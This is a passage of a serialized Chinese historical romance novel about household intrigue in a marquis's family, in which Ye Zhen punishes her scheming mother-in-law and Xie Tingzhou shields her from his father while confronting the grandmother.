挽星明白,叶桢这是要给朝露出气,她不抢功,安心在屋里吃着糕点。
反之,邢泽就没这么好的待遇了。
他被谢霆舟罚了一天不许吃饭,他嘀咕,“主子,属下可是按你的吩咐行事啊。”
邢泽本还觉得自己今日表现极好,赶着回来邀功呢。
结果谢霆舟听完他的话直接黑了脸,让他在门口站着反思。
谢霆舟丢给他一本兵法,“三天内背熟,否则滚回边境。”
邢泽最怕看书,对着扶光快哭出来了。
扶光只得给他解释,“主子是让你帮衬少夫人,可柳氏进佛堂这样的事,不同于陈青暗查谢云舟,无需你透露,少夫人也能知道。
你多此一举反叫人生疑,少夫人又不是真正的后宅女子,挽星能得她重用,自然也不是无能的,怎会将找人的事轻易告知你?”
邢泽这才明白过来,挽星早看穿他了。
不对,挽星出门就是为了试探他。
是少夫人看穿了他,还让挽星陪他演戏。
邢泽用书捂脸,“当真是女人心,海底针啊。”
扶光拍拍弟弟的肩,“后宅不比战场轻松,往后遇事多思多虑。”
他本就年长,在家时就见多了人心险恶,后头被送到世子身边,更是见多后宅阴私。
而邢泽自小被主子送去训练,之后又跟着去军营,没见过那么多弯弯绕绕。
可现在他们入了侯府,就不能给主子拖后腿。
担心邢泽再出错,他索性点明,“主子在意少夫人,但暂不想少夫人知道他在意。”
邢泽更糊涂了,“为什么呀?这对主子多不公平?”
大伯哥和弟媳传出去的确不好听,但至少得让少夫人知道啊,少夫人才有回应啊。
虽担忧两人未来,但邢泽也不希望是谢霆舟单方面付出。
至于叶桢看不上谢霆舟,这个念头他连想都没想过。
这一点上,他和挽星出奇的一致,都认定自家主子是这世间最好的人,看不上的都是有问题的。
扶光看了眼屋内,见谢霆舟埋头公务,没有阻止的意思。
他低声道,“少夫人应该就是主子要找的那位姑娘。”
否则主子不会撤了南边的人。
“当年的境况,你比我更清楚,那姑娘救了主子,刺客们找不到主子,必定会对那姑娘下手。
他们都是心狠手辣之徒,只怕少夫人当年没少吃苦,而主子又未及时出现解释。”
他想起先前在县令府上听到的,少夫人肩上有疤。
也不知是不是那个时候落下的。
刑泽沉默了。
良久,“主子现在解释还来得及吗?”
扶光摇头,“有些事不是几句解释就能抹去的,主子心里有成算,我们别坏事就好。”
刑泽便想到自家主子的经历,明白扶光那句话的含义。
若解释有用,主子当初又怎会落得那般地步。
想到这个,他对两人的未来更犯愁了,索性蹲在地上,“算了,我背书吧。”
聪明些,没准能帮主子。
另一头,叶桢带着朝露进了佛堂。
她吩咐,“婆母近来腰身不适,睡不得软床。”
朝露会意,忙带着人将柳氏床上的被褥撤了。
叶桢再看柳氏,“父亲说母亲入佛堂是为忏悔,既是悔过,自不好穿得过于华丽,显得没有诚意。”
朝露又撸起袖子上前。
柳氏忙道,“叶桢,你敢……”
敢不敢的,朝露已经带着两个婆子下手了,柳氏身上珠叉和华服皆被拿走。
朝露还趁机掐了柳氏好几把,疼得柳氏嗷嗷叫唤。
但看守佛堂的婆子不敢上前帮忙,没一会儿,婆子们又见朝露将里头的点心端了出来。
那都是柳氏刚让人送来的,还没来得及享用,叶桢就到了。
她气得破开大骂,“叶桢,你这个目无尊长的东西,竟敢磋磨婆母,就不怕我告你不孝。”
在大渊,不孝是重罪。
若子孙不孝,长辈是能上公堂的,一旦罪证落实,便是依律重罚。
叶桢眉目淡淡,“母亲罪孽深重,只怕出不了这佛堂。
余生漫漫,母亲空坐也无聊,不如趁机替父亲和祖母祈福吧。”
她让人搬了宣纸和墨砚进屋,“这是母亲求得父亲原谅的机会,母亲可莫要辜负儿媳的一片好心。”
出佛堂后,她又严令不准婆子们给柳氏偷偷送好吃的,只能照着先前在庄上,忠勇侯的吩咐,青菜白粥。
可眼下不是庄上,柳氏有老夫人这个靠山,因而她在佛堂内闹得很大声。
朝露有些担忧,“小姐,老夫人
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和侯爷知道了,会不会怪罪您。”
她如今私下跟着挽星一起称呼叶桢,将自己归为叶桢的人。
叶桢笑,“不会。”
忠勇侯清楚柳氏从前如何对叶桢,叶桢趁机报复,才是常人反应。
若什么都不做,反而叫忠勇侯疑她虚伪,假装大度。
而在老夫人看来,她这么快就去找柳氏的麻烦,用的还是这等手段,实在是沉不住气。
有了这个结论,老夫人就会轻视她。
朝露似懂非懂,她忐忑不安地等到忠勇侯下值回府。
结果忠勇侯非但没有训斥叶桢,反而让看守佛堂的婆子们一切依叶桢的意思行事,且规定柳氏每日要抄多少才有饭吃。
朝露便觉得叶桢真厉害,越发的信服她。
老夫人也没让人给柳氏送东西,只警告下人,不许将这些事透露给谢澜舟。
只同他说,柳氏在佛堂静修。
谢澜舟白日见过母亲,又知她在府中,没再闹着要母亲,跟着下人玩去了。
但老夫人借口出门访友,向叶桢要走了柳氏的马车。
回府后,又以马车舒适为由,将柳氏马车占为己有。
贴上了老夫人的标签,府中其余人自不敢再用这马车。
那也就发现不了马车的秘密。
叶桢和谢霆舟都清楚老夫人这样做的用意,她替柳氏遮掩。
“可她为何不及时撤了暗格?”
夜里,在墨院做**时,叶桢这样问谢霆舟。
谢霆舟在她旁边处理公务,闻言,放下卷宗,“许是这暗格还有用处,也或者他们笃定我们不会发现。”
叶桢动作一顿。
还有用处?
莫非柳氏如今进了佛堂,还要私会男人?
而老夫人既帮她遮掩马车的秘密,是不是意味着老夫人还要帮她将人带进府。
她觉得老夫人定是疯了,因而问道,“老夫人是侯爷的亲娘吗?”
谢霆舟得知叶桢派人盯着谢瑾瑶时,他就察觉一丝不对,按理谢瑾瑶已沦落养马的地步,又有贺铭监督,叶桢没有再盯她的必要。
他便问了下最近府里和庄上发生的事,心里已然有了猜测。
叶桢这句话让他听出了许多信息。
柳氏偷人了,马车暗格是她用来藏男人的,而老夫人清楚这一切,却帮着隐瞒。
所以,叶桢才有那一问。
谢霆舟亦是震惊的,他细细想了想,回道,“据我所知,他们当是亲母子。”
心下却打听注意,得好好查一查陈年往事。
正欲再说点什么,便听得扶光来报,“不好了,主子,侯爷过来了,人已朝书房来了。”
第63章 侯爷知道屋里藏了人
叶桢动作一顿,转身就要从后窗离开。
谢霆舟阻止,“来不及了。”
隔间没窗,需得到正房,从正房后窗翻出去,但忠勇侯的脚步已经近了。
现在出去,叶桢极有可能和他碰个正着。
叶桢也听到脚步声了,她四周看了看,寻找藏身之处,“不能让他发现我。”
弟媳大半夜在大伯哥的书房,无论什么理由都说不过去。
何况,她会武能做**的事是瞒着忠勇侯的。
谢霆舟明白她的顾虑,将她按坐在椅子上,“莫怕,我出去。”
与此同时,忠勇侯的声音响起,“你主子呢?”
他是临时起意跃墙过来的,没给墨院护卫提前报备的时间。
还是邢泽故意大声同他行礼,守在书房外的扶光才得了提醒,通知了谢霆舟。
但叶桢还是没来得及离开,扶光心下担忧,面上维持镇定,回道,“主子在的。”
没说在哪里,忠勇侯刚要问,就见谢霆舟从隔间出来,反手将门带上。
“寻我何事?”
回京后,忠勇侯还不曾来过他的院子,今日怕是无事不登三宝殿。
忠勇侯笑道,“那啥,老太太回来了,你作为长孙该过去见见的。”
谢霆舟回来这几日,一直没去拜见老夫人,老夫人颇有怨言,同忠勇侯抱怨了几次。
忠勇侯忙完手头事,这才想着过来一趟,“明早见见吧,省得传出去不好听。”
谢霆舟嗤笑,“本世子还有什么好听的名声,不是打小就被定了不孝顺的罪名么?”
若非老夫人偏帮,柳氏又岂敢那般欺负侯府嫡子,若非老夫人帮着隐瞒,忠勇侯又怎会毫无察觉,轻信柳氏。
只要想到好友年少时的苦楚,谢霆舟就没见老夫人的心思。
忠勇侯叹了口气,“当是为了侯府嫡子的体面,可好?”
谢霆舟反问,“你在意这些?”
没有讥讽,只是发问。
忠勇侯点头,“我当然希望自己的儿子有个好名声。”
谢霆舟颔首,“好,我去。”
不为老夫人,是为好友名声。
也希望日后忠勇侯能记得今日所言,给长子一个公道。
话说完,谢霆舟看着忠勇侯,等他离开。
忠勇侯却突然来了兴致,打量他的书房,“这房间还和从前一样,一点没改。”
他指着书桌,“那时候人没丁点大,非要和我书房里一样的大桌子,说是霸气。
我说根据身量定个小的吧,还不乐意,结果坐上椅子连桌子都够不着,我只得让人将椅子做得格外高。”
他感叹,“打小就犟啊。”
谢霆舟亦看了眼书房,他住进来后,只让人更换了寝房被褥,加了个小厨房,其余皆维持原样。
“或许只是想得到父亲关注。”
他替好友说出心里话。
忠勇侯抿唇一下下点着脑袋,似是陷入什么回忆,脸上出现悲伤神情。
“行了,你忙你的,我在这屋里转转,我记得隔间还存了不少幼时**字的手稿。”
说罢,他就要往隔间去。
谢霆舟挡在他面前,“隔间的东西都挪到了书柜里。”
叶桢需要一个安全地方做**时,他就将隔间清理了出来。
如今里头只有叶桢和做面具用的材料。
忠勇侯却没停步。
长子与柳氏闹翻后,和他这个父亲也是处处作对,父子俩都是不轻易低头的性格,之后的岁月里,两人几乎都是针锋相对。
仅有的一些温馨时光,都是长子七岁前,他在这书房陪他度过的时光。
有一次,他寻来书房,发现孩子缩在隔间角落里,说是书房有鬼,他对长子寄予厚望,怎能容忍将来袭爵的孩子这般胆小。
忠勇侯府到处都是护卫仆从,书房外亦有书童小厮,阳气鼎盛,鬼来了都怕他们。
他训斥孩子胡说,将他提溜到了外间,可之后的几次,他去书房都是在隔间找到的人。
小小人儿,用矮凳当桌,盘腿坐在角落里认真**字。
他又气又欣慰。
气儿
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子信怪力乱神,欣慰他哪怕害怕也如此刻苦。
故而他认真同儿子谈心,想化解他心头恐惧。
可儿子却坚持说,他在书桌前**字时,身后总有东西扯他头发,睡着了耳边能听到女鬼哭声,却睁不开眼,还有早上起来,地上有水渍,是一排排脚印,从门外延伸到他床边……
儿子说得头头是道,他将信将疑,查下去,最终证实都是儿子撒谎,儿子身边的书童小厮也都说不曾见过什么异常。
他怒不可遏,忠勇侯府嫡子将来是要报效朝廷,守护百姓的,怎能满口谎言。
柳氏劝他,“侯爷莫气,孩子还小,估摸是见你最近疼云舟和瑶儿,吃味了。
小孩子都是这样的,我们做父母的好好教便是,往后我们多陪陪霆舟,让他知道,父母没有因为有了弟弟妹妹而忽略他,他就不会用这种方法邀宠了……”
事后,他和同僚闲聊时谈及孩子吃味这事,同僚亦是柳氏一般的答案。
他因此认定柳氏说法,却没再多陪孩子,反而对他愈加严苛……
这次回京越发现柳氏真面目,他就越不敢想从前的事。
故而回京后,他一直不曾来过墨院。
可今日他想去隔间儿子坐过的角落坐坐,他想告诉儿子,是父亲错了。
当年闹鬼的事,如今想来是柳氏所为,当时她掌家,长子身边也都是她的人,想装神弄鬼不是难事,是他糊涂,让长子在自己家受苦了。
可谢霆舟寸步不让,“你不能进。”
忠勇侯狐疑,“为何?”
在边境时,他也没阻止过他进他的房间。
难道?
他不确定地问,“是不方便?”
谢霆舟颔首,“是。”
忠勇侯暂时丢下悲伤,追问,“屋里可是藏了姑娘?”
谢霆舟睨他。
他又不是谢云舟,不藏女人还藏男人?
忠勇侯明白他意思,突然拊掌,连连笑道,“好,好,好,好小子……”
旋即又问,“哪里人,我认识吗?”
第64章 弯腰抱起叶桢
谢霆舟嘴角微微上扬,却没回他,只道,“好了,你可以回去了。”
忠勇侯见他这样,还有什么不知道的,他用力拍在他肩上。
“行啊,小子,终于开窍了,我还以为你这辈子都得打光棍了。”
他又好奇,“到底是哪方神圣能入你的眼?”
谢霆舟怎可能告知他。
再次碰壁,他双手往身后一背,“行吧,不说就不说。”
丑媳妇总有见公婆的时候,他不愁见不到。
走到门口时,他又往回退了一步,“你这是正经人家的姑娘吧?
不会是从乱七八糟的地方带来的,或者你强行掳来的吧?”
他突然想到,好人家的姑娘怎么会大半夜来男人书房私会?
“你的婚事我不干涉,但姑娘必须是清清白白的,还有必须是她自愿的。”
这些年,这人是变得有些浑的,他也怕他强取豪夺来着。
谢霆舟只差给他一个白眼,直接将人推了出去。
门一关,他进了隔间。
叶桢已经继续开始手上的活计了。
他解释,“这样能阻止他进来。”
“明白。”
叶桢没看他,也不让自己深想下去。
她加快手上动作,半个时辰后,打算离开时,却听得扶光道,“墨院四周都被侯爷放了暗哨。”
叶桢现在回自己的院子,就算暗卫看不清她的脸,只怕也能寻到点蛛丝马迹。
她不能冒险。
可若现在让人将暗卫引开,只怕会更让忠勇侯好奇,万一他深挖……
这世间,没多少事是值得细细推敲的。
但她总不能一直留在这里不走,明早那些管事可是要同她汇报的。
她也得去老夫人那里走个过场。
正愁怎么办时,一件披风披在了身上,谢霆舟道,“叶姑娘,失礼了。”
他第一次这样称呼叶桢,叶桢心头狐惑他要做什么。
就被男人弯腰打横抱起,他臂膀长,将人抱起时,叶桢的脸刚好能藏在他胸口。
身上又被他的披风遮了个严实。
忠勇侯的暗卫只见谢霆舟抱着人出院子,却看不见他怀里的人是谁。
他们一路跟着谢霆舟出了侯府,最后在权贵云集的天街被谢霆舟甩脱了。
谢霆舟将人放下,“唐突了,现下你回去当不会被察觉。”
叶桢觉得自己并没做什么,但今夜之事,以及谢霆舟这话总让她觉得,她和谢霆舟似是有什么见不得人的事。
可又说不上来谢霆舟有哪里不对。
若他不承认隔间有人,忠勇侯说不得还会纠缠。
抱着她出府,假意送她回家,她再趁人不备偷偷回府,这样忠勇侯便不会想到,谢霆舟屋里的人是她。
算是当下较好的解决办法。
可好像以他们的关系,又不该是这样。
她抬眸看向男人,见他眸光坦荡,无丝毫情欲,叶桢便觉得是自己多想了。
“多谢兄长。”
道谢后,叶侦潜入将军府,见射姑还是老样子,她踏着轻功离开。
躺回自己床上,闭眼时脑子里不经意想到谢霆舟宽阔胸膛和有力的心跳声。
说起来这是叶桢第二次被男子抱。
第一次是她救下那人后,两人藏身寺庙的杂物间,夜里冷得厉害,男人亦是一句唐突了,将她揽在怀里为她取暖。
只那人不到二十的年纪,身形清瘦单薄,当时又重伤,失血厉害,其实那怀抱算不得温暖。
可叶桢没有父亲,她从未感受过男子的怀抱,因而印象深刻。
那一年她先是被背叛,遭遇绵密的追杀,接着又失去了母亲和师父,于她来说实在痛苦。
甘心寡居三年,也是她对自己的一种惩罚。
当年师父决意去帮母亲,却不允她跟着,勒令她呆在南边等她回来。
母亲屡战屡胜,从无败绩,叶桢便信了师父说的,那一战并无多少凶险,师父只是手痒了,想去战场砍几个脑袋。
叶桢心也痒了,便易容偷偷去了边境,却因救人耽搁……
她常想,若当初她没有烂好心救人,而是直接去战场寻母亲和姑母,会不会能及时救下她们。
极端时,她甚至想,就算当时没救下她们,能同她们一道战死,也挺好。
师父还活着的消息,将她从极端拉扯出来。
可她却不能为师父做什么。
枕头被打湿,叶桢这一晚睡得并不好。
谢霆舟跟着叶桢去了将军府,比她晚一刻钟回家。
他在得知叶桢就是当年救她之人时,便联想到了叶惊鸿和殷九娘战死的时间。
猜想叶桢一个养在南边的姑娘,易容去边境约莫是找那两人。
因为猜到,心中才愈加忐忑。
夜幕下,他在屋顶坐了大半宿,望着的是叶桢梦华轩的方向。
暗卫没看到人,便回到了忠勇侯身边,没再盯着墨院。
忠勇侯得知姑娘是被谢霆舟抱着带走的,而天街住的又都是权贵人家。
心里是真的不踏实了。
忠勇侯世子在外名声不算好,又毁了容,别家少年到了十五六就有人惦记婚事时,侯府世子却无人问津。
且这么多年,也没能结成个亲事。
这次回京才多久,就有姑娘喜欢上了?
他越发担心是谢霆舟强人所难。
因而当老夫人提出要为谢霆舟相看时,他答应了。
他想着,既然谢霆舟中意人家,总是要好好走个明路的。
老夫人的相看就是一个过明路的机会。
母子俩刚说完这事,谢霆舟就来了。
他来兑现承诺,给老夫人请安。
老夫人抹着泪,“这么多年没见,竟长得这样高大了,若在路上见着,祖母只怕都认不出你。”
打量完,她又转为欣慰,很是喜爱的样子,“和你父亲一样,往后都是有出息的。”
谢霆舟笑了笑,“老夫人可是在责怪孙儿没去看你?
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那孙儿这些年刀光剑影下,老夫人可曾挂怀过?
可曾送过一点吃食,给孙儿添过一件新衣?”
没有。
老夫人的确是想在忠勇侯面前给谢霆舟上眼药。
结果谢霆舟一记直拳打过去,反过来质问她。
老夫人极力忍住才没显露心虚。
“你这话简直是诛祖母的心,祖母怎会不惦记你。
只是你打小顽劣,若我再纵着你,岂不让你更无法无天,添衣送食的事,祖母的确未做。
可那是因为我知你父亲嘴上对你严厉,心里却极为疼爱你,自不会短了你吃穿。”
忠勇侯从前还没留意到这些,谢霆舟一提,他也意识到这么多年,自己的母亲似乎真的没给长子送过什么
而老夫人这个理由,连他听着都觉牵强,因而他没阻拦谢霆舟。
谢霆舟继续道,“谢云舟这些年在外,老夫人没少贴补他吧。
你可别说你不知道他当年是假死,柳氏是你的狗腿子,只怕不敢瞒你这事。”
他似笑非笑看着老夫人,一点没打算给她留情面。
“怎么,他谢云舟是你的孙儿,谢霆舟就不是了?”
老夫人的心虚终是掩藏不住了,“你,你混说什么?
老身以为这些年过去,你会有所长进,没想愈发变本加厉,如今连我这个祖母都不放在眼里了。”
眠眠那个混账怎么不告诉她,谢霆舟的嘴比以前还讨人嫌。
她捂着心口指着谢霆舟,“你,你太让祖母失望了。”
“祖母这话说的,好似从前对我有过什么期待一样。
我记得幼时,你可是时常说孙儿蛮横无理,难有造化,半点不及谢云舟,老夫人看人眼光着实不行。”
他缓缓起身,“父亲说你想见我,我如你愿来了,不知祖母可如意了?
若无事,我便先回去当差了,武德司还有许多事等着呢。”
门外的叶桢,嘴角扬起。
老夫人说谢霆舟没出息,不及谢云舟,如今谢云舟死的难看,而谢霆舟却成了皇帝跟前红人。
实在讽刺!
老夫人气得嘴唇发抖,便见谢霆舟似想起什么,又顿足,转身看向老夫人。
“不对,当年你是看出谢云舟是个软脚虾,知道他盖不住长孙的风头。
才故意提出让他走文科的路子,其实在替他遮瞒他的无能。
如此看来,你不是眼光不行啊,你是心偏了。”
他语气笃定,不是疑问,又走近两步,似闲聊般,“说到偏心,我还有一事不明,柳氏不过是你半道捡来的。
这些年你看着父亲为谢云舟的死伤怀,却帮着柳氏隐瞒,丁点消息都不露。
莫非柳氏是你生的,而父亲才是捡来的那个?”
老夫人脸色惨白,胸口剧烈起伏,忠勇侯到底担心母亲出事,刚要阻止,就听谢霆舟又问他,“父亲,你要不要好好查一查,自己究竟是不是老夫人的儿子?”
第65章 是亲娘
忠勇侯担心老夫人真被谢霆舟气死,沉声阻止,“莫再胡说了,柳氏比我小好几岁呢。”
他以为谢霆舟的思路是,他和柳氏是被调包的。
谢霆舟却不紧不慢道,“年纪相差也不代表她就不是老夫人的孩子。”
别怪他这样想,实在是老夫人帮柳氏隐瞒**这事,过于匪夷所思。
老夫人气得嘴唇颤抖。
谢霆舟通医术,知道她出不了大事,又补了一句,“没准祖母这辈子不只是生了一个呢。”
这话让老夫人身子都跟着抖了。
但她及时反应过来,佯装是被气的,手指颤颤巍巍指着谢霆舟。
“你怎能如此不孝,信口辱没祖母清白,我可是你嫡亲祖母啊。”
她捶打自己的心口,哭道,“你这是要逼我**啊,早知你会长成这幅模样,当年你母亲难产后,我就不该费心费力养活你。
我到底是造了什么孽,才得了这么个宝贝长孙。
亏我刚还想着你的婚事,霆舟啊霆舟,你对祖母到底有什么仇,什么怨呐,才这般容不下我啊。”
忠勇侯担心谢霆舟再说出什么话,赶在他前头应了,“母亲,您消消气,孩子小,您别跟他一般见识。”
他没有呵斥谢霆舟,反而替他说好话,让老夫人难以置信的同时,更气了。
都二十三了,战场上都磨炼十来年了,他还小?
看来在边境这几年,倒是让他们父子关系更亲密了。
若是从前,谢霆舟敢这样同她说话,谢邦不只会骂儿子,说不得还会动手。
他最是维护自己这个母亲。
可如今他变了,这个意识让老夫人有了危机感。
她得尽快给谢霆舟找个女人,色是温柔刀,最能碎男人的硬骨头。
也得让眠眠尽快回到谢邦身边。
下定主意后,她似被伤透了心,“既然你对祖母成见这么深,往后晨昏定省便不劳烦你过来了。”
正合谢霆舟心意,他本也没打算再来。
他颇为好心道,“老夫人瞧着面色不太好,我略通医术,可要给你瞧瞧?”
忠勇侯觉得可行,谢霆舟气人归气人,但不会在行医时对母亲下手,母亲瞧着的确不太好,他正欲点头。
老夫人忙摆手,“不敢劳烦,你不气我,我这条命还能活。”
谢霆舟便笑笑转身离开,行至门口时,同叶桢道,“老夫人和父亲有话要说,怕是没空见你,有站着等的功夫不如去忙掌家的事。”
他偏头看忠勇侯,“我那小厨房想换个新厨子,能让叶桢给选个新的么?”
谢霆舟现在不想唤叶桢为弟妹,但直呼寡居弟媳闺名,亦是不妥,可谢霆舟不妥的事多了,忠勇侯也懒得同他计较。
挥了挥手,同叶桢道,“你祖母喜静,往后不必日日来请安,初一十五过来陪陪她便可。”
他记得从前柳氏就不是日日请安,当时老夫人的说法就是她喜静,而柳氏管家劳累。
如今叶桢管家,自也辛苦,故而他顺着谢霆舟的话,替老夫人做了决定。
老夫人看向忠勇侯,张嘴要说话,忠勇侯抢先开口。
他警告一众下人,“今日之事不得外传,谁敢坏了世子名声,本侯绝不轻饶。”
他还特意看向蛮奴,“你也是,若敢对外透露,本侯便将你赶出侯府。”
蛮奴吓地往老夫人身后躲。
老夫人又被儿子气到了,都顾不上叶桢了。
“邦儿,你怎能这样纵着他?
难道你是信了他的鬼话,与母亲生分了,还是怨怪上了母亲?
母亲也是后来才知道云舟还活着,可母亲又有什么办法,儿子孙子,手心手背都是肉,母亲是怕你急怒之下伤了云舟啊。”
忠勇侯听她承认,心底发寒,也有些怨。
谢云舟是他儿子,纵然知道他不成器,他又能当真打死他不成。
做父亲的只会设法纠正儿子,母亲却帮着柳氏隐瞒。
母亲说不能纵容霆舟,可她才是真正的放纵云舟。
忠勇侯脑中不由回响起谢霆舟刚刚的话。
但他又想起老侯爷每次醉酒后,都是喊着老夫人的名字,说对不起她。
还拉着他叮老夫人生他吃了大苦头,让他切莫忘了母亲大恩。
便是临终前都满眼含泪地念着,“绮儿,莫哭,生了邦儿,往后我们再不生了,我再也不让你疼了,别哭啊,绮儿,是我混账对不起你,我对不住你啊……”
沈绮,是老夫人的名字。
父亲对母亲的愧疚乃忠勇侯亲眼所见。
父亲也曾说过,母亲生他时,父亲刚从战场赶回,恰好婴儿落地,还是父亲亲手抱起的他。
他生来后背就有黑痣,若他
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被调包父亲第一个就发现。
且父母关系和睦多年,母亲亦没有这样做的道理。
所以,母亲的确就是他的亲娘。
可这个结论并未让忠勇侯开怀,既然他是母亲唯一的孩子,霆舟更是母亲长孙,她怎能,怎能……
老夫人见忠勇侯沉默许久,便知他是真的将谢霆舟的话听进去了。
她气愤之余,是不安。
“行了,你也走吧,我还死不了。”
她神情落寞至极,“虽然那孩子怨恨我,但我作为他的祖母,却不能真不管他。
我会让人留意合适人选,再寻个机会相看相看,他那边我就不去说了,省得他厌烦,由你这做父亲的沟通吧。”
说让人走,却又拉着忠勇侯的手,语重心长,“邦儿啊,母亲答应过你父亲,要替他守好侯府,可霆舟那孩子啊……
哎,自小就不怕祸大,听说这次他直接焚杀五万俘虏,你父亲为将一生,也抓过不少俘虏,可你见他这般极端过吗?
虽是敌军,可也是五万条人命啊,可见他心肠的硬到什么程度,刚刚他如何对母亲你也瞧见了。
母亲看他对你也无多少敬意,再这样下去,是要倒反天罡啊。
还有他一口气将俘虏全杀了,边境归于安宁,武将没了用武之地,母亲担心上头过河拆桥。
这样简单的道理,母亲这个后宅妇人都知道,他为何,为何就那般鲁莽。
邦儿啊,你得管束管束他啊。
否则那日给侯府惹来祸事,母亲**都不敢去见你父亲,你亦愧对你父亲教导啊,孩子。”
关于俘虏一事,忠勇侯有自己的看法。
他并不认同老夫人。
身为战将,怎能因担心皇帝打压武将,就故意给敌军喘息机会,那是置边境百姓于凶险之中。
霆舟焚杀俘虏的确在他意料之外,但他却是赞成,且一直想做,却没有魄力去做的。
这件事霆舟没有错。
但老夫人的话,也让他想起老侯爷叮嘱,要孝顺母亲。
因而他没同老夫人争辩,只宽慰她别生气之类的话,又让人请了大夫,确定老夫人虽气着了,但身子无大碍,他便借口要忙公务离开了。
出了老夫人的院子,他去了墨院。
谢霆舟还没出门,被他堵在院中,“你刚刚那些话,可有别的依据?”
第66章 祖宗,你消停点
谢霆舟笑,“你也觉得老夫人态度可疑是不是?”
他不提依据,只说态度。
忠勇侯已经在查谢云舟,而柳氏外头有人是他从叶桢那里洞悉,并无证据。
他是不会将此事牵扯到叶桢身上的。
忠勇侯蹙了蹙眉,“只是因为这个?”
他以为谢霆舟知道了什么,才有那些话。
“你查谢云舟可查到了什么?”
让陈青查谢云舟的事,忠勇侯并无刻意瞒谢霆舟,谢霆舟手眼通天会知道他一点不意外。
“你又查到了什么?”
他反问。
谢霆舟笑,“谢云舟十四岁那年就随同窗去花楼厮混。”
那时候他是喜好女子的。
“十五岁年末,他和京中纨绔带着妓子去城外温泉,厮混几日不归,是老夫人担心他玩坏了身子,命人将他找回来的。”
说明老夫人也知道,他起初取向并没问题。
忠勇侯咬着后槽牙,“混账东西。”
身体都未长成,就犯了色心。
母亲和柳氏不但帮忙隐瞒,还为谢云舟树立勤奋好学的虚假形象,却对他的长子苛刻。
怪不得谢霆舟会那般质问母亲。
长子十来岁跟去边境,从小兵做起,一开始没有作战经验,是跟着大部队后面捡**的武器盔甲和救助受伤将士的。
当时人还不及**高,却不曾喊过一句苦。
十四岁时已然是冲锋的小将,每日不是习武就是研读兵法。
虽时不时寻一寻他这个老子的晦气,但从不曾来过骄奢淫逸那套。
谢云舟倒是好得很。
忠勇侯如今十分懊悔,当初听信老夫人的话,让谢云舟留在京城交由柳氏教养。
“十六岁那年,他似和柳氏闹了矛盾,将自己关在屋里半月不出,之后池恒便得了他重用。”
忠勇侯交换他查到的消息。
但因什么有矛盾,陈青暂时还未查出来。
谢霆舟挑了挑眉,“也就是说,他是那个时候和池恒厮混到一起的。
可池恒先前和府中一个婢女到了谈婚论嫁的地步。”
大家族里,一般不会阻止护从和婢女配对,因他们生下的孩子就是家生子,比外头买来的用的更安心。
“那婢女是柳氏院中当差的,后头掉湖里淹**。
最近武德司忙,我查到的就这些,懒得再费功夫了,要我说,你不如直接问柳氏。”
忠勇侯沉默。
谢云舟和池恒先前都正常,改变在于和柳氏的那场矛盾,怪不得叶桢说看到柳氏心虚。
这事十有**是她导致的。
柳氏满嘴谎言,他信不过,甚至他现在连老夫人的话都不敢全信。
谢霆舟牵了牵嘴角,知道自己的挑拨成功了。
忠勇侯瞪他,“你别瞎得意,你那婚事也该提上日程了,只要你那姑娘是个好的,就趁机正正经经给人定下来。
成婚后我寻个由头让你们回边境,安安稳稳过一生,也算了了我一桩心事。”
他留在京城,还进了武德司,总叫忠勇侯心头不安。
谢霆舟没查明刺客身份,绝不会出武德司,何况,他如今找到了叶桢,将来要去哪里,他得考虑叶桢的想法。
“暂时还定不了。”
忠勇侯顿感不妙,“为何?她不同意还是她家里不同意?”
“她还不知我心思。”
都被拐到墨院书房了,那女子还不知谢霆舟的贼心,莫非她是昏迷着被掳来的?
一想到这个,忠勇侯要炸毛了,说教的话还没出口,谢霆舟又砸下一句。
“她眼下有个死鬼丈夫。”
“别……别人的妻?”
忠勇侯手都痒了,若非打不得,他真想将谢霆舟按地上摩擦。
“你还当真犯浑了,你怎能肖想别人的妻子,你糊涂啊。”
谢霆舟淡淡笑了,笑意却不达眼底。
“这样的事,在大渊又不是什么稀罕事,陛下尚且能惦记别人的妻子,我身为他的臣子,效仿一二,想来没什么不可以。”
忠勇侯跳起来就要去捂谢霆舟的嘴,被他避开了。
他只得按着眉心,苦口婆心,“祖宗,怎能妄议天子,你给我消停点吧。”
谢霆舟幽幽道,“你怎么不打我,你以前不总爱追着我打吗?”
忠勇侯顿时就想到,从前和长子那些鸡飞狗跳的岁月,可眼前人……
“我是想打,可……”
可我不敢。
“父亲可是愧疚了?”
谢霆舟阻断忠勇侯后头的话,他又恢复那副气**不偿命的样子。
“父亲若愧疚,不若就多给我些家当,往后我也是要养妻儿的,钱财不嫌多。”
忠勇侯白了他一眼。
能不能成为他的妻子还不一定呢,还养妻儿。
但也没再继续刚刚的话,这些年,他对眼前人的身份心知肚明,却彼此谁也没点破。
眼前人阻止他,是为了他好。
这世间有个词叫不知者无罪,有些事还是要装糊涂才行。
他刚也是被气狠了,才险些坏事。
忠勇侯哼道,“你敢把我未来儿媳带到我跟前,我就敢把所有私房都给你。”
谢霆舟便笑。
那你的私房存不住了。
忠勇侯被他笑得莫名其妙,不想再搭理他,打算让老夫人取
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消相看的事。
谢霆舟却问,“几时相看?”
“你都有心上人了。”
还是个见不得光的,相看什么相看,办宴席不要钱的么。
谢霆舟一副浪荡公子样,“有心上人也不耽误相看,万一看上更好的呢。”
没人比他的姑娘更好了。
但不办宴席怎么给老夫人和柳氏搞事的机会。
且他今日看老夫人的反应,搞不好柳氏生的那几个,没一个是老头子的。
那堂堂忠勇侯岂不是绝后了。
他虽常替好友抱不平,给忠勇侯气受,但忠勇侯此人家事上糊涂,却是于国于民有功,父子一场,他不愿看他落到那般凄惨下场。
若有姑娘看上忠勇侯,他不介意背后推一把。
叶桢回到屋里,亦在怀疑谢云舟的身世。
高门大户里大多长孙得宠,老夫人眼里没长孙,反倒将谢云舟当成宝。
对谢瑾瑶也是疼爱得很,一回京就让人给谢瑾瑶送了许多东西过去。
她既甘心替柳氏遮瞒,当也知道谢瑾瑶的身世才是……
细思极恐,这些事越想,叶桢越觉得有问题,尤其是老夫人。
谢霆舟应该也是察觉了,今日才故意说那些话,打草惊蛇,让老夫人自乱阵脚。
她问,“马场那边还没消息过来吗?”
与此同时。
老夫人吩咐蛮奴,“你亲自跑一趟,让他最近低调行事,切莫暴露了自己。
还有马场那边先别去了,免得被有心之人察觉。”
她总觉得谢霆舟今日说那些,是知道了些什么。
万一他派人盯着马场,那岂不是麻烦。
可惜,她叮嘱晚了。
叶桢房里,挽星道,“今日盯梢的人见到了画像上的男子。”
派人盯着谢瑾瑶时,叶桢便画下了柳氏男人的小像,给几人看过。
叶桢问,“可有查到他身份?”
